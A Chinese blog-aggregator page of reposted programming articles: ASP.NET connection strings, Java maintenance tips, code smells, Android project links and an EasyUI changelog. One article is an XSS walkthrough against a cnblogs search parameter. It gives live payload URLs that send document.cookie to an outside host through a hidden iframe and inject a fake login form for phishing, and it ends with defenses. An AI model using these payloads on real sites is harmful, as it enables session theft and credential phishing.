[转载]ASP.NET数据库连接字符串总结

mikel阅读(1232)

[转载]ASP.NET数据库连接字符串总结 – maplecumt – 博客园.

一、使用OleDbConnection对象连接OLE DB数据源1.连接Access 数据库

Access 2000:

“provider=Microsoft.Jet.Oledb.3.5;Data Source=Access文件路径”

Access 2003:

“provider=Microsoft.Jet.Oledb.4.0;Data Source=Access文件路径”

Access 2007:

“provider=Microsoft.Ace.Oledb.12.0;Data Source=Access文件路径”

备注:Access数据库只提供两个连接属性provider(数据提供程序)和data source(数据源);

Access2000\2003的文件格式是“。mdb”,Access2007的文件格式是“。accdb”;

Access的数据提供程序版本是向下兼容的,在Win7下测试使 用Microsoft.Jet.OLEDB.3.5提示“未在本地计算机上注册“Microsoft.Jet.OLEDB.3.5”提供程序。”,改用 Microsoft.Jet.OLEDB.4.0或者Microsoft.Ace.OLEDB12.0完全可以访问Access2000的数据库文件。当 然也可以尝试使用微软提供的MDAC 来修改provider的版本。

2.连接Excel数据库

Excel 2003:

“provider=Microsoft.Jet.OLEDB.4.0;Data Source=Access文件路径;extended properties=excel 8.0”

Excel 2007:

“provider=Microsoft.Ace.OLEDB.12.0;Data Source=Access文件路径;extended properties=excel 12.0”

备注:在代码中引用工作表时,应将表名表示为“[工作表名$]”,遇到字段为数据库保留关键字时,给该字段名加 上[]以示区别,如定义select 语句时:string connStr=”select * from [login$] where username=’abc’ and [password]=’abc123’ ”;

如果在数据表中用数字作为文本类型数据时,则应在数字前加单引号将默认的数值强行设定为文本类型。

3.连接SQL Server数据库

provider=SQLOLEDB;

Data Source=服务器名;

Initial Catalog=数据库名;

uid=用户;

pwd=密码

二、使用SqlConnection对象连接SQL Server数据库

声明:以下连接的属性都可以参考“SQL Server 数据库连接字符串参数一览表”取它的别名;除了必须设置的属性以外还可以设置其他辅助的属性。如Connect Timeout、Encrypt等

设置数据库文件路径的方法:

1.使用绝对路径:“AttachDbFilename=D:\\Solution1\\Web\\App_Data\\data.mdf”

2.使用服务器相对路径:“AttachDbFilename=”+Server.MapPath(“\\App_Data\\data.mdf”)

3.使用最简单的相对路径:“AttachDbFilename=|DataDirectory|\\data.mdf”

推荐使用第3种方式,“|DataDirectory|”代表ASP.NET项目里自动创建的App_Data文件夹

1.以SQL Server验证模式连接SQLServer

(1)以数据库名连接方式

Server=服务器名;

Database=数据库名称;

User ID=用户名;

Password=密码 或者(使用缩写与别名)

Server=服务器名;

Initial Catalog=数据库名称;

Uid=用户;

Pwd=密码

(2)以数据库文件完整路径连接方式

“Serve=服务器名;AttachDbFilename=数据库文件路径;User ID=用户名;Password=密码”

示例:

Server=.\SQLEXPRESS; Database=DatabaseName;

User ID =sa; Password=abc123” Server=.\SQLEXPRESS;

Initial Catalog =DatabaseName; Uid =sa; Pwd=abc123”

Server=(local)\SQLEXPRESS; AttachDbFilename=D:\\Solution1\\Web\\App_Data\\data.mdf;User ID =sa; Password=abc123”

备注:密码可以为空。

2.以Windows 验证模式连接SQL Server

(1)以数据库名连接方式

Server=服务器名;

Database=数据库名称;

Integrated Security=SSPI

(2)以数据库文件完整路径连接方式

“Serve=服务器名;AttachDbFilename=数据库文件路径; Integrated Security=true”

示例:

Server=服务器名;

Database=数据库名称;

Integrated Security=SSPI

Server=(local)\SQLEXPRESS;

AttachDbFilename=D:\\Solution1\\Web\\App_Data\\data.mdf; Integrated Security=true”

备注:SSPI即为true

三、使用OdbcConnection对象连接ODBC数据源

“Driver=数据库提供程序名;Server=服务器名; Database=数据库名;Trusted_Connection=yes”

示例:

首先要在计算机管理à数据源à配置好相对应的数据源(选择数据库类型,设置数据库文件路径与相对应的数据库名)

Driver= Microsoft.Jet.OLEDB.4.0;

Server=.\SQLEXPRESS;

Database=DatabaseName; Trusted_Connection=yes

四、使用OracleConnection对象连接Oracle数据库

Data Source=Oracle8i; Integrated Security=yes

五、在ASP.NET项目中的web.config文件里配置数据库连接并在程序代码中获取连接字符串

1.在<connectionStrings> 标签里添加连接

<connectionStrings>

<add name=”ConnectionName” connectionString=”Server=.\SQLEXPRESS;Database=DatabaseName;User ID=sa;Password=abc123″

providerName=”System.Data.SqlClient” />

</connectionStrings> 或者

<connectionStrings>

<add name=”ConnectionName” connectionString=”Server=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\\data.mdf;Integrated Security=true” providerName=”System.Data.SqlClient” />

</connectionStrings> 在程序代码中获取<connectionStrings> 标签里的连接字符串:

引用命名空间:

Using System.Configuration ;

string connStr = ConfigurationManager.ConnectionStrings[“ConnectionName”].ToString();

2.在<appSettings>标签里添加连接

<appSettings>

<add key=”ConnectionName” value=”Server=.\SQLEXPRESS;Database=DatabaseName;User ID=sa;Password=abc123″ />

</appSettings> 或者

<appSettings>

<add key=”ConnectionName”

value=”Server=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\\data.mdf;Integrated Security=True” />

</appSettings> 在程序代码中获取<appSettings> 标签里的连接字符串:

引用命名空间:

Using System.Configuration ;

string connStr = ConfigurationManager.AppSettings[“ConnectionName”].ToString();

[转载]给我一对尖括号我可以造出整个互联网

mikel阅读(1198)

[转载]给我一对尖括号,我可以造出整个互联网 – 两会 – 博客园.

这是一篇关于XSS攻击的文章,很早就有写此文打算,但发现博客园中已有不少XSS的文章,我再写也还是那些东西,没啥新意,所以一直搁浅。

前阵子看到一篇关于博客园找找看XSS漏洞的文章,我研究了一下,发现事隔三个月,漏洞还在,不知为何。正好把这当素材写下此文,让我们来看看这个XSS漏洞究竟能带来哪些危害。

漏洞分析

用一下找找看的搜索功能就容易发现,搜索功能往url中传递了两个参数名“w”和“t”,输入框对应“w”,搜索分类对应“t”。看不到t参数的,点击一下搜索框上的分类链接就会找到。

按常理,输入框是最容易发生攻击的地方,因此找找看也作了防护。根据我的测试,至少有如下两种防护措施:

  1. 正则表达式匹配并删除字符串包含”<script></script>”的部分。
  2. 服务器端对输入字符串长度做了限制。

虽说方法并不完美,但两个加一起的确可以达到防护目的。参数“w”安全,可参数“t”却没有任何的防护措施,因此,漏洞就在这里。

通过分析代码,可看到最后”t“传给了一个隐藏表单,代码如下:

<input type="hidden" class="txtSeach" name="t" id="t" value=""> 

那我们只要将该input闭合,就可以随心所欲的输入任何内容,比如我们输入‘Test”/><input type=”hidden’,最后的结果就变成:

<input type="hidden" class="txtSeach" name="t" id="t" value="Test"/><input type="hidden"/> 

看一下那篇文章中的截图,基本上就明白如何针对该漏洞进行js脚本攻击,如下图:

image

XSS危害之一 — Cookie盗取

XSS能做的不只是弹窗,会js的都知道,通过document.cookie可以获取到cookie信息,为了测试,我们通过alert显示出来。url地址这样写:(由于Chrome浏览器本身有防护措施,本文的所有XSS测试在Chrome下无效,在IE,FF等浏览器可正常运行

http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>alert(document.cookie)</script><input type="hidden 

输入网址会看到cookie值通过弹窗显示出来,如下图:

image

通常,盗取Cookie会做的比较隐秘,不让用户觉察。一般的做法是通过构造一个隐藏的iframe,然后将cookie值作为参数随iframe传给攻击者指定的网址。例如,我把cookie传给百度站点,可以输入如下url地址:

http://zzk.cnblogs.com/s?w=hacker&t=a”/><iframe id=“myid”></iframe><script>var frame=document.getElementById(“myid”);frame.src=“http://www.baidu.com/?a=”%2Bdocument.cookie;</script><input type=

"hidden 

此处为了显示效果,我们不隐藏iframe,可以看到截图如下:

image

通过Fiddler工具可以看到cookie已经传送出去。一旦把iframe隐藏,用户点击链接后就基本察觉不到自己的cookie被盗取。

博客园最有用的cookie就是是登录后产生的名为“.DottextCookie“的cookie了,一旦被盗取,对方就可以直接通过cookie认证登录到你的账号。

然而,我测试发现,一直无法获取该cookie,后来发现该cookie被标识为HttpOnly,这导致通过页面js脚本无法获取。

image

因此,折腾一圈下来,虽然找找看功能有漏洞,却无法盗取到有用的cookie值,我想这也可能是该漏洞一直未处理的原因之一。

XSS危害之二 — 伪造Html元素,欺骗用户

HttpOnly虽然是防cookie盗取的利器,但并不意味着可无视Xss漏洞,因为Xss的危害不仅仅是cookie盗取,它还可以伪造Html元素,欺骗用户提交信息。例如,我们输入如下url地址:

http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>document.getElementById('searchResult').innerHTML="<div><form><label>Username:</label><input type='text' /><br/><label>Password:</label><input type='text' /><br/><input type='submit' value='submit'/></form></div>";</script><input type="hidden 

通过url伪造了一个登录表单,为了演示目的,我没有添加样式,这样可以看到效果图如下:

image

这种效果容易被识别,但我相信按照网站风格设计一下css样式,加上一些提示性的文字,会产生很强的欺骗性,用一些刺激性的文字或图片很容易吸引用 户点击并上钩,因为用户往往对域名正确的页面容易放松警惕,正所谓散弹打鸟,总会碰到几个笨的。因此这种XSS攻击虽没有直接盗取cookie,依然会造 成不小的危害。

XSS的防护措施

有不少人在我前一篇关于SQL攻击的文章中留言问如何防护。其实我觉得看懂了攻击方式,基本也就知道如何防护了。对于SQL注入,参数化查询就可以完全胜任,甚至你只屏蔽单引号也一样有很好的效果。

对于Xss攻击,防护措施如下:

  1. 上面提到的博客园的做法–正则匹配加长度限制。
  2. 将不需要在客户端操作的cookie设置为HttpOnly。
  3. 使用第三方类库,如AntiXSS
  4. 对用户输入内容进行Html编码,例如ASP.NET mvc中的MvcHtmlString类,总是将字符串编码以后再显示。

方法很多且容易,但真正能使系统安全稳定,还要归根于设计者本人,就像找找看功能,对输入框进行了防护,却忘记对另外一个参数进行处理,关键在于设计每一个功能的时候,脑中是否有防护的概念,是否用心。

结语

阿基米德说过:”给我一个杠杆,我可以翘起整个地球。“为了表述XSS的危害,我也模仿这种语气,写个诳语:”给我一对尖括号,我可以造出整个互联网。“

[转载]InfoQ: 程序员开发大型应用程序的技巧

mikel阅读(1011)

[转载]InfoQ: 程序员开发大型应用程序的技巧.

假如你是一名Java开发者,正在开发和维护包含2000个类并使用了很多框架的应用程序。你要如何理解这些代码呢?在典型的Java企业项目小组 中,大部分能够帮你的高级工程师看起来都很忙,文档也很少。你需要尽快交付成果,并向项目组证明自己的能力。你会如何处理这种状况呢?这篇文章为开始开发 新项目的Java开发者提供了一些建议。

1. 不要试图一下子搞懂整个项目

仔细考虑一下,为什么你会想要先理解项目代码呢?大部分情况是有人要求你修复一个bug,或者增强系统已有功能。你要做的第一件事情不是理解整个项目的架构。当对项目进行维护时,这样做(理解整个项目架构)可能会对你造成巨大的压力。

即便是有10年编程经验的Java开发者,也无法理解项目的核心工作机制,尽管他们可能已经在这个项目工作超过一年(假设他们并非最初的开发人员)。比如,对于认证机制或事务管理机制还是缺乏确切的认识。

他们是怎么做的呢?他们对于自己负责的部分非常了解,并且能够交付价值给小组。每天的交付价值远比了解一些以后还不确定有没有的东西重要的多。

2. 关注于尽快交付价值

那我是要打消你对于理解项目架构的热情吗?完全不是。我只是要求你尽早地交付价值,一旦你开始一个项目,搭建了开发环境,你就不应该花一两周时间才 交付内容,无论它的规模大小如何。假如你是一位有经验的程序员,却两周都没有任何交付,你的经理怎么会知道你是真的在工作,还是在看新闻呢?。

所以交付能够将事情变得简单。不要认为在做有价值的交付前,你必须理解整个项目。这是完全错误的。加一段JavaScript的验证代码对业务就很有价值,经理能够通过你的交付对你更加信任。这样能够向上级领导证明你的贡献以及员工价值。

日复一日,在不断修复bug及增强功能之后,你就能够慢慢开始理解项目架构。不要低估对系统方方面面理解时需要花费的时间。花3到4天理解认证机 制,2到3天理解事务管理。这些都是依靠之前的相似项目的经历,但关键还是要花时间才能透彻的理解。要在日常工作中挤出时间,不要向经理要求特定的时间来 做这些。

找找项目是否有一些有效维护的单元测试用例。有效的单元测试用例是理解大型项目代码很好的途径。单元测试能够帮助你理解代码片段,包括一个单元的外部接口(单元如何被调用以及返回内容)及其内部实现(调试单元测试比调试整个实际用例简单许多)。

你如果能够很好的理解一些内容,那么就写些笔记,或者画些类图、时序图、数据模型图等,以便你或日后其他的开发者可以进行维护。

3. 维护大型项目所必须的技能

你能从事当前的工作,必然已经具有良好的java技术。我们来谈谈能够让你在新项目中良好表现的其他技能。大部分时间里,你在项目中的任务是修复bug和增强功能。

有两项很重要的技能能够在你维护大型项目代码起到帮助。

3.1 能够迅速发现需要的类

在任何维护活动中,无论是修复bug或增强功能,第一件事情就是识别出当前修复或增强的用例中调用的类。当你定位到需要修复或增强的类/方法,就已经完工了一半。

3.2 能够分析变更的影响

当你在完成必要的修改或增强工作后,最重要的就是要确认你的修改没有破坏代码的其他部分。你要用你的java技术及对其他框架的理解找出变更可能影响的部分。下面两个简单的例子详细描述了最后提及的情况:

  •  当类A的equals()方法变更后,调用保存A实例的List的contains()方法时就会受到影响。若Java知识不够,就很难考虑到这样的影响。
  •  在web项目中,我们假设“user id”保存在session中。新加入的程序员可能在“user id”中加入一些信息来修复bug,但是却不知道那会影响到 与“user id”关联的用例。

因此,既要深入了解Java语言,又要深入了解你在应用中使用的框架,这样才能分析出一个改变的影响。

当你提高了如上两个技能,尽管你对项目不是非常了解,但大部分的维护任务会变得简单很多。如果你想要修复一个bug,就会定位并修复这个bug,并且保证变更不会破坏项目的其他部分。如果你想要增强或加入特性,基本上你只需要模仿现有的特性,使用类似的设计。

在一个在线银行项目中,为什么“查看账户摘要”和“查看交易历史”的设计要有巨大的差别呢?如果你理解了“查看账户摘要”的设计,完全可以模仿开发出“查看交易历史”的功能。

就修复bug和增强来说,你不必完全理解所有2000个类的工作内容和代码驱动系统运行的原理。只要有上面的技能,你就能很快定位需要修改的代码,使用良好的java和框架技能修复,保证变更不会破坏项目的其他部分,然后交付,尽管你可能只知道一小部分项目的设计。

4. 使用工具找到所需变更内容以及变更产生的影响

继续我们尽快交付的主题,你应该寻找工具作为辅助,只需要对项目又很少理解,就能帮助你尽快实施交付。

4.1 迅速发现所需变更内容的工具

无论是修复bug还是增强系统,首先你都要找到该用例调用且需要修改的类及方法。基本上有两种方式理解用例的工作方式,静态代码分析和运行时分析。

源码分析统计会扫描所有代码并且展现类之间的关系。市场上有很多工具。比如:Architexa、AgileJ、UModel、Poseidon等。

所有静态代码分析工具的缺点在于,它们无法确切展现 用例中类或方法的运行时调用情况。因此Java新加入了一些特性,如回调机制(callback patterns)。比方说,静态分析工具无法推断出当前页面提交按钮被点击时,会调用哪个Servlet。

运行时分析工具能够展现类和方法在用例运行时的状态。这样的工具包括:MaintainJ、Diver、jSonde、Java Call Tracer等。这些工具可以捕获运行时的堆栈状态,并以此为用例生成序列图和类图。

序列图会展现该用例在运行时所有调用的方法。如果你在修复bug,那么这个bug很可能就是这些被调用的方法之一。

如果你在增强已有功能,可能是新增验证,修改DAO等,那么就可以利用序列图理解调用流程然后再修改。

如果你在新增功能,那么就可以找到一些相似的特性,利用序列图理解调用流程,然后模仿开发新功能。

要仔细地挑选运行时分析工具。信息过多是这类工具的主要问题。选择一些工具,能够提供简单的信息,过滤掉无效信息,并能够方便的查看各种视图。

4.2 迅速发现所需变更内容的工具

若单元测试有效,你就可以通过运行单元测试发现变更有没有破坏其他测试用例。有效维护并且覆盖大型企业应用的单元测试还是比较少的。下面有一些针对该情况的工具。

在此,仍然是有两种技术——静态代码分析和运行时分析——可以使用。市场中有很多静态代码分析工具可用。如:Lattix、Structure101、Coverity、nWire和IntelliJ’s DSM。

对于变更后的类,上述工具均可识别对该类存在依赖的类的集合。开发者需要根据这些信息“猜测”可能产生影响的用例,因为这些工具无法展示运行时类之间的调用关系。

市场上可以用于运行时影响分析的工具并不多,可能只有MaintainJ。MaintainJ先会捕获在用例中调用的所有类和方法。当所有用例的上 述信息都被捕获之后,就很容易发现类的变更对用例的影响。MaintainJ能够有效工作的前提条件就是项目的所有用例都应当先运行一遍,以便能够获得运 行时的依赖关系。

总之,目前你在迅速准确分析变更影响方面,还是可以从工具中获得有限的帮助。首先根据需要实施一些影响分析,然后根据自己或小组其他高级成员评审来判断变更的影响。你可能需要使用上述工具对你的判断进行反复确认。

5. 对上述内容的两个忠告

5.1 不要降低代码质量

为了快速交付,可以不全盘理解架构,但绝不能以降低代码质量为条件。下面是一些你可能因为只考虑快速交付而引发的代码质量问题。

因为修改代码涉及到很多的依赖关系,所以新增代码相对而言风险较小。例如,有五个用例都调用了某个方法。为了改进某个用例,你需要修改这个方法的实 现。最简单的做法就是复制这个方法,重命名,然后在改进的用例中调用新方法。千万不要这么做。代码冗余绝对是非常有害的。你要尝试对方法进行包装或者重 写,甚至是直接修改,然后重新测试所有用例,通常停下来想一想,然后亲手去实施,是一种不错的方式。

另一个例子是将“private”方法改为“public”,让别的类也可以调用。尽量不要将非必须的部分暴露出来。假如是为了更好的设计而需要重构,那么就应当着手去做。

大部分应用都有确定的结构和模式来实施。修复或增强程序时,你要确保不会偏离这样的模式。如果对规约不确定,那么就请其他高级开发者来审核你的变 更。如果你必须做一些违背规约的动作,那么就尽量放置于规模较小的类中(一个200行代码的类中的私有函数应当不会影响应用的整体设计)

5.2 不要停止深入理解项目架构

按照文章列出的方式,假设你能够在对项目了解较少的情况下进行交付,并持续这样下去,可能就会停止对项目架构的深入了解。这从长远角度来说对你的职 业生涯没有帮助。当你的经验增加时,就会承担比较大的模块任务。如构建一个完整的新特性,或者修改项目的一些基础设计等较大的改进。当能够做这些改进时, 你对项目的整体架构应该相当了解。文中列举的方法只是让你在最短的时间内提升自己,而不是阻止你完整理解整个项目。

6. 结论

整篇文章的重点在于,对项目进行必要了解,然后进行快速交付。你可以在不降低代码质量的前提下做到这一点。

如果要修复bug,那么迅速定位并修复。可以在必要的时候使用运行时分析工具。如果要新增特性,那么就可以寻找类似特性,理解流程(在必要的时候使用工具)并编写。

或许这些听起来很简单,但是实用吗?当然。前提是你有良好的java技术,以及对框架足够了解,然后才能先修改代码,再分析变更所产生的影响。分析变更所产生的影响比实施变需要更多技巧。你可能需要高级开发人员协助你分析变更影响。

大约有50%的IT可操作预算用于简单的bug修复和功能增强。文中的建议对于在维护活动中节省经费应当还是很有帮助的。

作者Choudary Kothapalli 也是MaintainJ项目的创立者。

关于作者

Choudary Kothapalli 是  MaintainJ Inc.创始人。该公司提供的工具用于在维护大型Java项目时节省开支。作者在开发和维护企业级Java应用方面已经有15年的经验,并且具有Sun认证的企业架构师与Java开发者资格。他目前和妻子以及2个儿子居住在加拿大多伦多。

关于译者

陈晨, 长期从事互联网信息收集分析领域架构研究。对海量数据处理,NoSQL等处理运用有丰富经验,关注过程方法及其自动化。他的新浪微博:一酌散千忧

[转载]java书籍终极推荐

mikel阅读(1577)

[转载]java书籍终极推荐 – java哥 – 博客园.

一、入门类

1、《Agile Java》中文版

2、《Java编程思想》

3,《effective java》
二、进阶类

1、《重构 改善既有代码的设计》

2、《测试驱动开发 by Example》

3,《java网络编程》
三、软件设计类

1、《Expert One-on-One J2EE Design and Development》

2、《Expert One-on-One J2EE Development without EJB》

3、《企业应用架构模式》

4、《敏捷软件开发 原则、模式与实践》

5,《人月神话》

6,《编程珠玑》

7,《TCP/IP协议详解》1,2,3部
四、敏捷开发

1、《UML精粹》

2、《解析极限编程 拥抱变化》XP

3、《统一软件开发过程》UP

4、《敏捷建模》AM

[转载]代码的坏味道

mikel阅读(1387)

[转载]代码的坏味道 – david++ – 博客园.

代码坏味道:是指在代码之中潜在问题的警示信号。并非所有的坏味道所指示的确实是问题,但是对于大多数坏味道,均很有必要加以查看,并作出相应的修改。

1. 重复的代码

如果你在一个以上的地点看到相同的程序结构,那么当可肯定:设法将它们合而为一,程序会变得更好。

  • 同一个class内的两个函数中含有重复的代码段
  • 两个兄弟class的成员函数中含有重复的代码段
  • 两个毫不相关的class内出现重复的代码段

注意:重复的代码是多数潜在BUG的温床!

2. 过长的函数

拥有短函数的对象会活的比较好、比较长。

  • 程序愈长就愈难理解
  • 函数过长阅读起来也不方便
  • 小函数的价值:解释能力、共享能力、选择能力

原则:每当感觉需要以注释来说明点什么的时候,我们就把需要说明的东西写进一个独立的函数中。记着,起个好名字!

3.  过大类

如果想利用单一类做太多事情,其内往往就会出现太多的成员变量。

  • 提取完成同一任务的相关变量到一个新的类
  • 干太多事情的类,可以考虑把责任委托给其他类

注意:一个类如果拥有太多的代码,也是代码重复、混乱、死亡的绝佳滋生地点。

4.  过长的参数列表

太长的参数列表难以理解,太多参数会造成前后不一致、不易使用,而且你需要更多数据时,就不得不修改它。

原则:参数不超过3个!

5. 发散式变化

我们希望软件能够更容易被修改。一旦需要修改,我们希望能够跳到系统的某一点,只在该处做修改。如果不能做到这点,你就嗅出“坏味道:发散式变化”或“坏味道:霰弹式修改”。

发散式变化:一个类受多种变化的影响

  • 数据库新加一个字段,同时修改三个函数:Load、Insert、Update
  • 新加一个角色二进制,同时修改四处

原则:针对某一外界变化的所有相应修改,都只应该发生在单一类中

6. 霰弹式修改

如果每遇到某种变化,你都必须在许多不同的类内做出许多小修改以响应之。如果需要修改的代码散布四处,你不但难以找到它们,也很容易忘记某个重要的修改。

霰弹式修改:一种变化引起多个类相应的修改

7. 依恋情节

函数对某个类的兴趣高过对自己所处类的兴趣,就会产生对这个类的依恋情节,造成紧耦合。

原则:判断哪个类拥有最多被此函数使用的数据,然后将这个函数和那些数据摆在一起。
原则:将总是变化的东西放在一块。

8. 数据泥团

有些数据项,喜欢成群结队地待在一块。那就把它们绑起来放在一个新的类里面。这样就可以:

  • 缩短参数列表
  • 简化函数调用

9. 基本型别偏执

代码中有很多基本数据类型的数据。

原则:如果看到一些基本类型数据,尝试定义一种新的数据类型,符合它当前所代表的对象类型。

10. switch惊悚现身

面向对象程序的一个最明显特征就是:少用switch语句。从本质上说,switch语句的问题在于重复。

原则:看到switch你就应该考虑使用多态来替换它。

11. 冗赘类

你所创建的每一个类,都得有人去理解它、维护它,但一个类没有存在的必要时候,就让这个类庄严扑义吧!

原则:如果一个类的所得不值其身价,它就应该消失。

12. 夸夸其谈其未来性

对未来不可预知的变化考虑的过多,造成系统更难理解和维护。如果应对变化的代码都会被用到,那是值得的那么做;如果用不到,就不值得。

原则:代码应该满足当前的需求,并留有可扩展的余地。对于未来的变化,既不要考虑的太多,也不能一点都不考虑。

13. 令人迷惑的暂时成员变量

有时你会看到这样的对象:其内某个成员变量仅为某种特定的情形而设。这样的代码容易让人不解,因为你通常认为对象在所有时候都需要它的所有变量。

在变量未被使用的情况下猜测当初设置目的,会让你发疯。

14. 无用的中间人

过度使用委托。你也许会看到某个类的接口有一半的函数都委托给其他类,这样就过度运用了。所以,删除无用的中间人。

15. 狎昵关系

有时你会看到两个类过于亲密,花费太多时间去探究彼此的private成分。

原则:过分狎昵的类必须拆散。

16. 异曲同工的类

如果两个函数做同一件事情,却有着不同的签名式。

原则:删除一个,保留一个。

17. 不完美的程序库类

库的设计有时会不够好,不那么容易使用,可能还会有那么一点小缺陷。

工具:

  • Introduce Foreign Method
  • Introduce Local Extension

18. 过多的注释

过多注释的代码段,往往都是因为那段代码比较糟糕,散发着一股恶臭。

原则:当你感觉需要写注释时,请尝试重构,试着让所有注释都变得多余。

参考资料:

  1. 《重构:改善既有代码的设计》
  2. 《重构手册》

2012/04/24 01:20 于上海

[转载]安卓Android大量项目源码实例

mikel阅读(1802)

[转载]安卓Android大量项目源码实例喜欢的朋友都拿去吧 – vipxiaoc – 博客园.

下面是整理的几十个安卓项目的源码,喜欢安卓的朋

友拿去吧,想必你一定用的上,喜欢安卓的朋友进来

看看吧。
Android+电子杂志(带翻页效果)源码.rar
Android+精仿QQ登录界面源码.rar
android-binding-0.45-update.jar
Android北京公交查询源代码(离线).rar
android多线程断点下载.rar
Android对象关系映射框架 Androrm.zip
android平台水波效果+源码.rar
Android开发的UI设计最佳实践.rar
Android游戏的心跳效果.rar
android源码 超炫的3D特效程序管理功能.rar
android画图程序.zip
Android自定义泡泡效果+源码.rar
android超炫的图片浏览器(图 + 代码 + 注解).rar
Android远程登录含有loading登录效果.rar
下方的小按钮滑动效果.zip

乐看播放器源代码.rar
优化大师客户端(整个客户端.rar
升级源码.rar
商业项目完整版源代码.zip
基于+Android+的英文电子词典.zip
多屏幕显示效果.rar
天天动听悬浮歌词实现.rar
实现基站定位,以及WIFI定位,以及GPS定.rar
文件管理器-android源代码.zip
绝对给力的源码,在线音乐播放器完整项目 .zip
网络流量监测源代码.rar
网页浏览器Demo源码.rar
英语单词记忆程序源码.rar
豆瓣电影RSS 完全源码及相关注释 .rar
重力感应的测试程序andriod源代码.rar

Android+Socket编程代码(与PC通讯).rar
Android+Txt文本阅读器源码.rar
Android+Widget程序源码.rar
android+加载时闪烁点样式的启动画面.zip
android+半透明Menu效果.zip
Android+天气预报加widget源码.rar
Android+屏保源码.rar
Android+手机防火防源码(DroidWall).rar
Android+指南针程序.zip




Android PDF 阅读器 http://sourceforge.net/projects/andpdf/files/
个人记账工具 OnMyMeans http://sourceforge.net/projects/onmymeans/develop
Android电池监控 Android Battery Dog http://sourceforge.net/projects/andbatdog/
RSS阅读软件 Android RSS http://code.google.com/p/android-rss/
Android的PDF阅读器 DroidReader http://code.google.com/p/droidreader/
Android Scripting Environment http://code.google.com/p/android-scripting/
Android小游戏 Android Shapes http://sourceforge.net/projects/shapes/
Android JSON RPC http://code.google.com/p/android-json-rpc/
Android VNC http://code.google.com/p/android-vnc/
魅族M8的Android移植 M8 Android http://code.google.com/p/m8-android-kernel/
Android 游戏 Amazed http://code.google.com/p/apps-for-android/
Android的社交网络 HelloWorld goes mobile http://sourceforge.net/projects/helloworldgm/
手机聊天程序 Android jChat http://code.google.com/p/jchat4android/
Android的GPS轨迹记录 MyTracks http://code.google.com/p/mytracks/
Android国际象棋游戏 Honzovy achy http://sourceforge.net/projects/honzovysachy/
Android旅行记录软件 AndTripLog http://sourceforge.net/projects/andtriplog/
音乐播放器 Ambient http://sourceforge.net/projects/ambientmp/
Android的邮件客户端 K9mail http://code.google.com/p/k9mail/
多平台应用开发库 QuickConnect http://sourceforge.net/projects/quickconnect/
gPhone手机空战游戏 http://code.google.com/p/wireless-apps/
Android 照片小软件 Panoramio http://code.google.com/p/apps-for-android/
i-jetty http://code.google.com/p/i-jetty/
Android 小游戏 DivideAndConquer http://code.google.com/p/apps-for-android/
Android 全球时间 AndroidGlobalTime http://code.google.com/p/apps-for-android/
Android 2D游戏引擎 Android Angle http://code.google.com/p/angle/
Android Ruby http://code.google.com/p/android-ruby/
Android-N810 http://sourceforge.net/projects/android-n810/
Android的短信应用 Ecclesia http://sourceforge.net/projects/ecclesia
Android平台上的JXTA客户端 Peerdroid http://code.google.com/p/peerdroid/
Android游戏引擎 libgdx http://code.google.com/p/libgdx/
Android 照片小软件 Photostream http://code.google.com/p/apps-for-android/
Alien3d logo Android 3D游戏引擎 Alien3d http://code.google.com/p/alien3d/
Winamp Remote Android Server http://sourceforge.net/projects/winampdroid
Android的Facebook客户端 Andrico http://code.google.com/p/andrico/
Android Applications Manager http://sourceforge.net/projects/aam/
Java 3D图形引擎 Catcake http://code.google.com/p/catcake/
android-gcc-objc2-0 http://code.google.com/p/android-gcc-objc2-0/
九宫格数独游戏 OpenSudoku http://code.google.com/p/opensudoku-android/
Android 铃声扩展工具 RingsExtended http://code.google.com/p/apps-for-android/
JavaEye Android client http://code.google.com/p/javaeye-android-client/
RemoteDroid http://code.google.com/p/remotedroid/
Android 小游戏 Clickin2DaBeat http://code.google.com/p/apps-for-android/
中医大夫助理信息系统 zz-doctor http://code.google.com/p/zz-doctor/
Facebook Connect for Android http://code.google.com/p/fbconnect-android/
Android SMSPopup http://code.google.com/p/android-smspopup/
FreeTTS-Android http://sourceforge.net/projects/freettsandroidi
Foursquare.com的客户端 Foursquar http://code.google.com/p/foursquared/

条形码扫描仪 Android PC_BCR http://code.google.com/p/android-pcbcr/

 如果大家觉得这些源码对自己有用可以点击下方的推荐让更多的人知道,大家也可以关注我的个人社区http://javadt.com

[转载]jQuery.EasyUI-1.2.6 API chm 格式下载!

mikel阅读(1291)

[转载]jQuery.EasyUI-1.2.6 API chm 格式 下载! – 疯狂秀才 – 博客园.

当前版本的更新内容如下:疯狂秀才 QQ:1055818239 Blog:http://hxling.cnblogs.com

 

ChangeLog

 

Bug 疯狂秀才 QQ:1055818239 Blog:http://hxling.cnblogs.com

 

  • tabs: Call ‘add’ method with ‘selected:false’ option, the added tab panel is always selected. fixed.
  • treegrid: The ‘onSelect’ and ‘onUnselect’ events can’t be triggered. fixed.
  • treegrid: Cannot display zero value field. fixed.

 

Improvement

 

  • propertygrid: Add ‘expandGroup’ and ‘collapseGroup’ methods.
  • layout: Allow users to create collapsed layout panels by assigning ‘collapsed’ property to true.
  • layout: Add ‘add’ and ‘remove’ methods that allow users to dynamically add or remove region panel.
  • layout: Additional tool icons can be added on region panel header.
  • calendar: Add ‘firstDay’ option that allow users to set first day of week. Sunday is 0, Monday is 1, …
  • tree: Add ‘lines’ option, true to display tree lines.
  • tree: Add ‘loadFilter’ option that allow users to change data format before loading into the tree.
  • tree: Add ‘loader’ option that allow users to define how to load data from remote server.
  • treegrid: Add ‘onClickCell’ and ‘onDblClickCell’ callback function options.
  • datagrid: Add ‘autoRowHeight’ property that allow users to determine if set the row height based on the contents of that row.
  • datagrid: Improve performance to load large data set.
  • datagrid: Add ‘loader’ option that allow users to define how to load data from remote server.
  • treegrid: Add ‘loader’ option that allow users to define how to load data from remote server.
  • combobox: Add ‘onBeforeLoad’ callback event function.
  • combobox: Add ‘loader’ option that allow users to define how to load data from remote server.
  • Add support for other loading mode such as dwr,xml,etc.

 

New Plugins    疯狂秀才 QQ:1055818239 Blog:http://hxling.cnblogs.com

 

  • slider: Allows the user to choose a numeric value from a finite range.
    疯狂秀才 QQ:1055818239 Blog:http://hxling.cnblogs.com

   CHM API  下载 猛击下里  疯狂秀

[转载]dedecms织梦跳转终极修改使用自定义文件名,外链伪静态和新浪微博一样适合做淘宝客外链推广等网站

mikel阅读(1029)

